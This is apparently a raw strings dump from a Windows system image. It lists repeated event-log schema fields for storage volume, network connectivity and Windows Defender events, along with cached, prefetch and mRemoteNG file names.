VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType NativeNVMe AdapterSerialNumberLength AdapterSerialNumber Error EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name IsBootVolume Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied IsBootVolume Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name DeviceNumber Data Name IsBootVolume Data Name NativeNVMe Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Name Data Name MountDurationUs Data Name MountDuration Data Name LongestStage Data Name LongestStageDuration Data Name LongestStagePercentage Data Name SecondLongestStage Data Name SecondLongestStageDuration Data Name SecondLongestStagePercentage Data Name RestartApplied Data Name Stage1DurationUs Data Name Stage2DurationUs Data Name Stage3DurationUs Data Name Stage4DurationUs Data Name Stage5DurationUs Data Name Stage6DurationUs Data Name Stage7DurationUs Data Name Stage8DurationUs Data Name Stage9DurationUs Data Name Stage10DurationUs VolumeCorrelationId VolumeIdLength VolumeId VolumeLabelLength VolumeLabel DeviceNameLength DeviceName DeviceGuid VendorIdLength VendorId ProductIdLength ProductId ProductRevisionLength ProductRevision DeviceSerialNumberLength DeviceSerialNumber BusType DeviceNumber IsBootVolume NativeNVMe AdapterSerialNumberLength AdapterSerialNumber MountDurationUs MountDuration LongestStage LongestStageDuration LongestStagePercentage SecondLongestStage SecondLongestStageDuration SecondLongestStagePercentage RestartApplied Stage1DurationUs Stage2DurationUs Stage3DurationUs Stage4DurationUs Stage5DurationUs Stage6DurationUs Stage7DurationUs Stage8DurationUs Stage9DurationUs Stage10DurationUs EventData Data Name VolumeCorrelationId Data Name VolumeIdLength Data Name VolumeId Data Name VolumeLabelLength Data Name VolumeLabel Data Name DeviceNameLength Data Name DeviceName Data Name DeviceGuid Data Name VendorIdLength Data Name VendorId Data Name ProductIdLength Data Name ProductId Data Name ProductRevisionLength Data Name ProductRevision Data Name DeviceSerialNumberLength Data Name DeviceSerialNumber Data Name BusType Data Name AdapterSerialNumberLength Data Name AdapterSerialNumber Data Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer DESKTOP-8GBP982 Security UserID Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational EventData Data InterfaceGuid IfLuid Family Capability CapabilityChangeReason PreviousCapability 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Microsoft-Windows-NCSI Microsoft-Windows-NCSI/Operational Threat ID Severity ID Category ID FWLink Path Found Detection Origin Index Detection Origin Execution Status Index Execution Status Detection Type Index Detection Type Unused2 Unused3 Severity Name Category Name Security intelligence Version Engine Version Process ID Security intelligence ID FidelityValue FidelityLabel Image File Hash Unused4 Unused5 TargetFileName TargetFileHash EventData Data Name Product Name Data Name Product Version Data Name Detection ID Data Name Detection Time Data Name Unused Data Name Unused2 Data Name Threat ID Data Name Threat Name Data Name Severity ID Data Name Severity Name Data Name Category ID Data Name Category Name Data Name FWLink Data Name Status Code Data Name Status Description Data Name State Data Name Source ID Data Name Source Name Data Name Process Name Data Name Detection User Data Name Unused3 Data Name Path Data Name Origin ID Data Name Origin Name Data Name Execution ID Data Name Execution Name Data Name Type ID Data Name Type Name Data Name Pre Execution Status Data Name Action ID Data Name Action Name Data Name Unused4 Data Name Error Code Data Name Error Description Data Name Unused5 Data Name Post Clean Status Data Name Additional Actions ID Data Name Additional Actions String Data Name Remediation User Data Name Unused6 Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Detection ID Detection Time Unused Unused2 Threat ID Threat Name Severity ID Severity Name Category ID Category Name FWLink Status Code Status Description State Source ID Source Name Process Name Detection User Unused3 Path Origin ID Origin Name Execution ID Execution Name Type ID Type Name Pre Execution Status Action ID Action Name Unused4 Error Code Error Description Unused5 Post Clean Status Additional Actions ID Additional Actions String Remediation User Unused6 Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Detection ID Data Name Detection Time Data Name Unused Data Name Unused2 Data Name Threat ID Data Name Threat Name Data Name Severity ID Data Name Severity Name Data Name Category ID Data Name Category Name Data Name FWLink Data Name Status Code Data Name Status Description Data Name State Data Name Source ID Data Name Source Name Data Name Process Name Data Name Detection User Data Name Unused3 Data Name Path Data Name Origin ID Data Name Origin Name Data Name Execution ID Data Name Execution Name Data Name Type ID Data Name Type Name Data Name Pre Execution Status Data Name Action ID Data Name Action Name Data Name Unused4 Data Name Error Code Data Name Error Description Data Name Unused5 Data Name Post Clean Status Data Name Additional Actions ID Data Name Additional Actions String Data Name Remediation User Data Name Unused6 Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Detection ID Detection Time Unused Unused2 Threat ID Threat Name Severity ID Severity Name Category ID Category Name FWLink Status Code Status Description State Source ID Source Name Process Name Detection User Unused3 Path Origin ID Origin Name Execution ID Execution Name Type ID Type Name Pre Execution Status Action ID Action Name Unused4 Error Code Error Description Unused5 Post Clean Status Additional Actions ID Additional Actions String Remediation User Unused6 Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Detection ID Data Name Detection Time Data Name Unused Data Name Unused2 Data Name Threat ID Data Name Threat Name Data Name Severity ID Data Name Severity Name Data Name Category ID Data Name Category Name Data Name FWLink Data Name Status Code Data Name Status Description Data Name State Data Name Source ID Data Name Source Name Data Name Process Name Data Name Detection User Data Name Unused3 Data Name Path Data Name Origin ID Data Name Origin Name Data Name Execution ID Data Name Execution Name Data Name Type ID Data Name Type Name Data Name Pre Execution Status Data Name Action ID Data Name Action Name Data Name Unused4 Data Name Error Code Data Name Error Description Data Name Unused5 Data Name Post Clean Status Data Name Additional Actions ID Data Name Additional Actions String Data Name Remediation User Data Name Unused6 Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Detection ID Detection Time Unused Unused2 Threat ID Threat Name Severity ID Severity Name Category ID Category Name FWLink Status Code Status Description State Source ID Source Name Process Name Detection User Unused3 Path Origin ID Origin Name Execution ID Execution Name Type ID Type Name Pre Execution Status Action ID Action Name Unused4 Error Code Error Description Unused5 Post Clean Status Additional Actions ID Additional Actions String Remediation User Unused6 Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Detection ID Data Name Detection Time Data Name Unused Data Name Unused2 Data Name Threat ID Data Name Threat Name Data Name Severity ID Data Name Severity Name Data Name Category ID Data Name Category Name Data Name FWLink Data Name Status Code Data Name Status Description Data Name State Data Name Source ID Data Name Source Name Data Name Process Name Data Name Detection User Data Name Unused3 Data Name Path Data Name Origin ID Data Name Origin Name Data Name Execution ID Data Name Execution Name Data Name Type ID Data Name Type Name Data Name Pre Execution Status Data Name Action ID Data Name Action Name Data Name Unused4 Data Name Error Code Data Name Error Description Data Name Unused5 Data Name Post Clean Status Data Name Additional Actions ID Data Name Additional Actions String Data Name Remediation User Data Name Unused6 Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Detection ID Detection Time Unused Unused2 Threat ID Threat Name Severity ID Severity Name Category ID Category Name FWLink Status Code Status Description State Source ID Source Name Process Name Detection User Unused3 Path Origin ID Origin Name Execution ID Execution Name Type ID Type Name Pre Execution Status Action ID Action Name Unused4 Error Code Error Description Unused5 Post Clean Status Additional Actions ID Additional Actions String Remediation User Unused6 Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Threat resource path Data Name Hashes Product Name Product Version Unused Threat resource path Hashes EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Data Name Detection Time Data Name User Data Name Path Data Name Process Name Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Unused Detection Time User Path Process Name Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Data Name Detection Time Data Name User Data Name Path Data Name Process Name Data Name Security intelligence Version Data Name Engine Version Data Name RuleType Data Name Target Commandline Data Name Parent Commandline Data Name Involved File Data Name Inhertiance Flags Product Name Product Version Unused Detection Time User Path Process Name Security intelligence Version Engine Version RuleType Target Commandline Parent Commandline Involved File Inhertiance Flags EventData Data Name Product Name Data Name Product Version Data Name Data Name Detection Time Data Name User Data Name Destination Data Name Process Name Product Name Product Version Detection Time User Destination Process Name EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Data Name User Data Name Path Data Name Process Name Data Name Involved File Product Name Product Version Unused User Path Process Name Involved File EventData Data Name Product Name Data Name Platform version Data Name Unused Data Name Engine version Data Name Security intelligence version Product Name Platform version Unused Engine version Security intelligence version EventData Data Name Product Name Data Name Platform version Data Name Unused Data Name Engine version Data Name NRI engine version Data Name AV security intelligence version Data Name AS security intelligence version Data Name !NRI security intelligence version Data Name RTP state Data Name OA state Data Name IOAV state Data Name BM state Data Name !Last AV security intelligence age Data Name !Last AS security intelligence age Data Name Last quick scan age Data Name Last full scan age Data Name &AV security intelligence creation time Data Name &AS security intelligence creation time Data Name Last quick scan start time Data Name Last quick scan end time Data Name Last quick scan source Data Name Last full scan start time Data Name Last full scan end time Data Name Last full scan source Data Name Product status Data Name Latest engine version Data Name Engine up-to-date Data Name Latest platform version Data Name Platform up-to-date Product Name Platform version Unused Engine version NRI engine version AV security intelligence version AS security intelligence version NRI security intelligence version RTP state OA state IOAV state BM state Last AV security intelligence age Last AS security intelligence age Last quick scan age Last full scan age AV security intelligence creation time AS security intelligence creation time Last quick scan start time Last quick scan end time Last quick scan source Last full scan start time Last full scan end time Last full scan source Product status Latest engine version Engine up-to-date Latest platform version Platform up-to-date EventData Data Name Product Name Data Name Product Version Data Name Detection ID Data Name Detection Time Data Name Unused Data Name Unused2 Data Name Threat ID Data Name Threat Name Data Name Severity ID Data Name Severity Name Data Name Category ID Data Name Category Name Data Name FWLink Data Name Status Code Data Name Status Description Data Name State Data Name Source ID Data Name Source Name Data Name Process Name Data Name Detection User Data Name Unused3 Data Name Path Data Name Origin ID Data Name Origin Name Data Name Execution ID Data Name Execution Name Data Name Type ID Data Name Type Name Data Name Pre Execution Status Data Name Action ID Data Name Action Name Data Name Unused4 Data Name Error Code Data Name Error Description Data Name Unused5 Data Name Post Clean Status Data Name Additional Actions ID Data Name Additional Actions String Data Name Remediation User Data Name Unused6 Data Name Security intelligence Version Data Name Engine Version Product Name Product Version Detection ID Detection Time Unused Unused2 Threat ID Threat Name Severity ID Severity Name Category ID Category Name FWLink Status Code Status Description State Source ID Source Name Process Name Detection User Unused3 Path Origin ID Origin Name Execution ID Execution Name Type ID Type Name Pre Execution Status Action ID Action Name Unused4 Error Code Error Description Unused5 Post Clean Status Additional Actions ID Additional Actions String Remediation User Unused6 Security intelligence Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Feature Name Data Name Reason Data Name Error Code Data Name Error Description Data Name Feature ID Product Name Product Version Feature Name Reason Error Code Error Description Feature ID EventData Data Name Product Name Data Name Product Version Data Name Feature Name Data Name Reason Data Name Unused Data Name Unused2 Data Name Feature ID Product Name Product Version Feature Name Reason Unused Unused2 Feature ID EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name Product Name Data Name Product Version Data Name Feature Name Data Name Configuration Data Name Unused Data Name Feature ID Product Name Product Version Feature Name Configuration Unused Feature ID EventData Data Name Product Name Data Name Product Version Data Name Old Value Data Name New Value Product Name Product Version Old Value New Value EventData Data Name Product Name Data Name Product Version Data Name Resource Data Name Failure Type Index Data Name Failure Type Data Name Exception Code Product Name Product Version Resource Failure Type Index Failure Type Exception Code EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name Product Name Data Name Product Version Product Name Product Version EventData Data Name hc_stateid hc_stateid EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Data Name State Data Name Timestamp Data Name Action Data Name Process Data Name Source Data Name Target Data Name User Data Name Signature Version Data Name Engine Version Product Name Product Version Unused State Timestamp Action Process Source Target User Signature Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Unused Data Name Policy Version Data Name Policy Rule Id Data Name Enforcement Level Data Name Audit Reason Data Name Event Timestamp Data Name Action Type Data Name Process Data Name Source Data Name Target Data Name Session Id Data Name User Sid Data Name Signature Version Data Name Engine Version Product Name Product Version Unused Policy Version Policy Rule Id Enforcement Level Audit Reason Event Timestamp Action Type Process Source Target Session Id User Sid Signature Version Engine Version EventData Data Name Product Name Data Name Product Version Data Name Changed Type Data Name Value Product Name Product Version Changed Type Value Microsoft-Windows-Windows Defender win:Error win:Warning win:Informational WINSTO~2.WIN WinStore.VideoEffects.winmd MI7527~1.PF0 MICROSOFTSTARTFEEDPROVIDER.EX-E9BB04B4.pf STORED~1.PF0 STOREDESKTOPEXTENSION.EXE-DF19039B.pf WEIFEN~2.DLL WeifenLuo.WinFormsUI.Docking.ThemeVS2012.dll 000003.log MANIFE~2 MANIFEST-000002 CURRENT 000002~1.DBT GECKOF~1.DLL Geckofx-Winforms.dll f_000024 DOMAIN~1.JSO domains_config.json OBJECT~1.DLL ObjectListView.dll 07.png SANDBO~1.DLL sandboxbroker.dll VS2015~1.VST vs2015light.vstheme en-US $I300 mRemoteNG.resources.dll MREMOT~1.DLL MREMOT~1.DLL mRemoteNG.resources.dll 9F37FA~1 9f37fa7ca7ceabb8_0 Router.ico 04.png $I300 mRemoteNG.resources.dll MREMOT~1.DLL BA1F43~1.PF0 BACKGROUNDTASKHOST.EXE-4870EBCE.pf BAF9CF~1.PF0 BACKGROUNDTASKHOST.EXE-4B6C6D52.pf MREMOT~1.DLL mRemoteNG.resources.dll NETWOR~1 Network Action Predictor diagwrn.xml WEIFEN~3.DLL WeifenLuo.WinFormsUI.Docking.ThemeVS2013.dll nssckbi.dll CURRENT 000010~1.DBT MANIFE~2 MANIFEST-000026 000011.ldb 000012.log TOKENB~1 TokenBroker $I300 Cache AVAILA~1 AvailabilityDB $I300 LOCK LOG.old 000008.ldb MANIFE~1 MANIFEST-000010 CURRENT 000010~1.DBT C0280C~2 c0280c46276faa33_1 LOG.old 000008.ldb 0CE334~2 0ce334799d7d3fce_1 2D87B4~2 2d87b4669040b62f_1 F9A2CF~2 f9a2cf96bff9d474_1 5F79FF~1 5f79ffd4a2b0f2aa_0 f_000014 f_000015 173C18~1 173c1883fde8a537_0 f_000016 f_000017 0CE334~1 0ce334799d7d3fce_0 f_000018 f_000019 F9A2CF~1 f9a2cf96bff9d474_0 468720~1 468720f7dc3cf397_0 416673~1 4166733a19a30635_0 2D87B4~1 2d87b4669040b62f_0 D5A24F~1 d5a24fccd1204973_0 C0280C~1 c0280c46276faa33_0 ECB204~2 ecb2040d2ece38bf_1 1BBA5E~2 1bba5efe2b2b0ced_1 283DF2~2 283df284fc76dcd1_1 35BED2~2 35bed211f716c812_1 83B038~2 83b038b0a7cfd3ba_1 468720~2 468720f7dc3cf397_1 8B4736~2 8b4736245b329c8f_1 3F7E76~2 3f7e766aae56c448_1 F26BD3~2 f26bd39c964eabf6_1 ECEDAE~2 ecedae92dc2a36db_1 758C16~2 758c16d90a2fe752_1 95D9A2~1.TBR 95d9a2a97a42f02325559b453ba7f8fe839baa18.tbres 9ED767~2 9ed76774ced27e71_1 A906CC~2 a906cc261fab361f_1 FBAF94~1.TBR fbaf94e759052658216786bfbabcdced1b67a5c2.tbres 27AF5B~2 27af5bf692004ca0_1 93E5FF~2 93e5fff3dbc8df05_1 703A9A~2 703a9a4961122e80_1 1B253B~2 1b253b58c9a87e4b_1 BF6231~2 bf623127e7547ed1_1 BOOKMA~1 BookmarkMergedSurfaceOrdering D9C1FE~2 d9c1fee5e7a1429a_1 FIA5E6~1.ODL FileCoAuth-2026-02-24.0806.8008.2.odlgz MpCmdRun.log 216B33~2 216b336877170d1d_1 VERCLS~1.PF0 VERCLSID.EXE-AB0FD091.pf CBS.log SHOPPI~2.HTM shopping_fre.html SYNCEN~1.AOD SyncEngine-2026-02-24.0806.5016.2.aodl LOG.old 4CB013~2 4cb013792b196a35_1 THE-RE~1 the-real-index PRE968~1.CDF programdata.cdf-ms $DSC $TXF_DATA PR7BC6~1.CDF programdata_microsoft_fe5c6d762edd2110.cdf-ms $DSC $TXF_DATA PRBCF3~1.CDF programdata_microsoft_windows_defender_8c225bc560faa67e.cdf-ms $DSC $TXF_DATA LOG.old WEBSER~1.ICO Web Server.ico LOG.old LOG.old LOG.old FEEDBA~2 FeedbackHub $I300 Temp $I300 $I30 $I30 DiagTrackTraceSlot_aot DiagTrackTraceSlot_miniTrace DIAGTR~1 DIAGTR~2 Triggers $I300 $I30 $I30 1657768043896628995_trigger.dat 165776~1.DAT 165776~2.DAT 6203644761554738592_trigger.dat UPDATE~3.LOG Update_2026-02-24_075951_3664-6308.log 000020.log FI9791~1.ODL FileCoAuth-2026-02-24.0759.5668.1.odlgz PREREQ~1.HTM Prerequisites.htm 0872AF~2.XML 0872af26047692500f0c318077d1cfd61f3a327d[2].xml wct2D07.tmp THE-RE~1 the-real-index MREMOT~1.ICO mRemoteNG.ico 4E7A36~1.TBR 4e7a3602a6530194fc2a9d803f78656054f42b7e.tbres AGGREG~1 AggregateData $I300 EVENTS~1.DB- EventStore.db-wal SYSTEM~3.GTH SystemIndex.3.gthr SYSTEM~3.CRW SystemIndex.3.Crwl EVENTS~2.DB- EventStore.db-shm TIMETR~1 TimeTravelDebuggingStorage $I300 index.txt resourceCache resourceCache AGGREG~1.UCA AggregateCache.uca MANIFE~1.JSO manifest.json THE-RE~1 the-real-index CL4CAE~1.ETL CldFlt2-2026-02-24-080003.etlgz tr-TR $I300 mRemoteNG.resources.dll MREMOT~1.DLL MREMOT~1.DLL mRemoteNG.resources.dll mozglue.dll MREMOT~1.CON mRemoteNG.exe.config MREMOT~1.DLL mRemoteNG.resources.dll MAGICL~1.DLL MagicLibrary.dll D3DCOM~1.DLL d3dcompiler_47.dll 16.png Event xmlns 5http://schemas.microsoft.com/win/2004/08/events/event System Provider Name Guid EventID Qualifiers Version Level Task Opcode Keywords TimeCreated SystemTime EventRecordID Correlation ActivityID RelatedActivityID Execution ProcessID ThreadID Channel Computer WIN-FVPT9GE7NQP Security UserID Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational EventData Data VolumeNumber DiskInstancePath DiskNumber PartitionOffset SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 5http://schemas.microsoft.com/win/2004/08/events/event DESKTOP-8GBP982 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 5http://schemas.microsoft.com/win/2004/08/events/event windows11 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 5http://schemas.microsoft.com/win/2004/08/events/event Windows11 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 Microsoft-Windows-StorageVolume Microsoft-Windows-StorageVolume/Operational SCSI\Disk&Ven_NVMe&Prod_VMware_Virtual_N\5&25a13950&0&000000 EventData Data Name Data Name EnclosureManufacturer Data Name EnclosureModel Data Name EnclosureSerial Data Name EnclosureRevision Data Name Status Data Name PageBytes Data Name PageData EnclosureManufacturer EnclosureModel EnclosureSerial EnclosureRevision Status PageBytes PageData EventData Data Name Data Name EnclosureManufacturer Data Name EnclosureModel Data Name EnclosureSerial Data Name EnclosureRevision Data Name DescirptorBytes Data Name DescirptorData Data Name Line Data Name Status EnclosureManufacturer EnclosureModel EnclosureSerial EnclosureRevision DescirptorBytes DescirptorData Line Status EventData Data Name Data Name OldHealth Data Name NewHealth Data Name EnclosureManufacturer Data Name EnclosureModel Data Name EnclosureSerial Data Name EnclosureRevision OldHealth NewHealth EnclosureManufacturer EnclosureModel EnclosureSerial EnclosureRevision EventData Data Name PoolId Data Name Transaction Data Name SequenceNumber PoolId Transaction SequenceNumber EventData Data Name PoolId Data Name Transaction Data Name Status Data Name SequenceNumber Data Name "DispatchTransactionDurationIn100Ns Data Name PrepareCommitDurationIn100Ns Data Name CommitTransactionDurationIn100Ns Data Name CommitDevicesDurationIn100Ns PoolId Transaction Status SequenceNumber DispatchTransactionDurationIn100Ns PrepareCommitDurationIn100Ns CommitTransactionDurationIn100Ns CommitDevicesDurationIn100Ns EventData Data Name SpaceId Data Name Transaction Data Name SequenceNumber SpaceId Transaction SequenceNumber EventData Data Name SpaceId Data Name Transaction Data Name Status Data Name SequenceNumber SpaceId Transaction Status SequenceNumber EventData Data Name Code Code EventData Data Name Code Data Name Status Code Status EventData Data Name SpaceId Data Name LogType Data Name UsedBytes SpaceId LogType UsedBytes EventData Data Name SpaceId Data Name LogType Data Name Data Name Length Data Name Reason SpaceId LogType Length Reason EventData Data Name SpaceId Data Name LogType Data Name StartLsn Data Name SpaceId LogType StartLsn EventData Data Name SpaceId Data Name LogType Data Name Data Name Length Data Name Reason SpaceId LogType Length Reason EventData Data Name SpaceId Data Name LogType Data Name StartLsn Data Name SpaceId LogType StartLsn EventData Data Name SpaceId Data Name LogType Data Name Operation Data Name Status SpaceId LogType Operation Status EventData Data Name SpaceId Data Name LogType Data Name Copy Data Name Data Name Status Data Name ExtendedStatus SpaceId LogType Copy Status ExtendedStatus EventData Data Name SpaceId Data Name PoolId Data Name 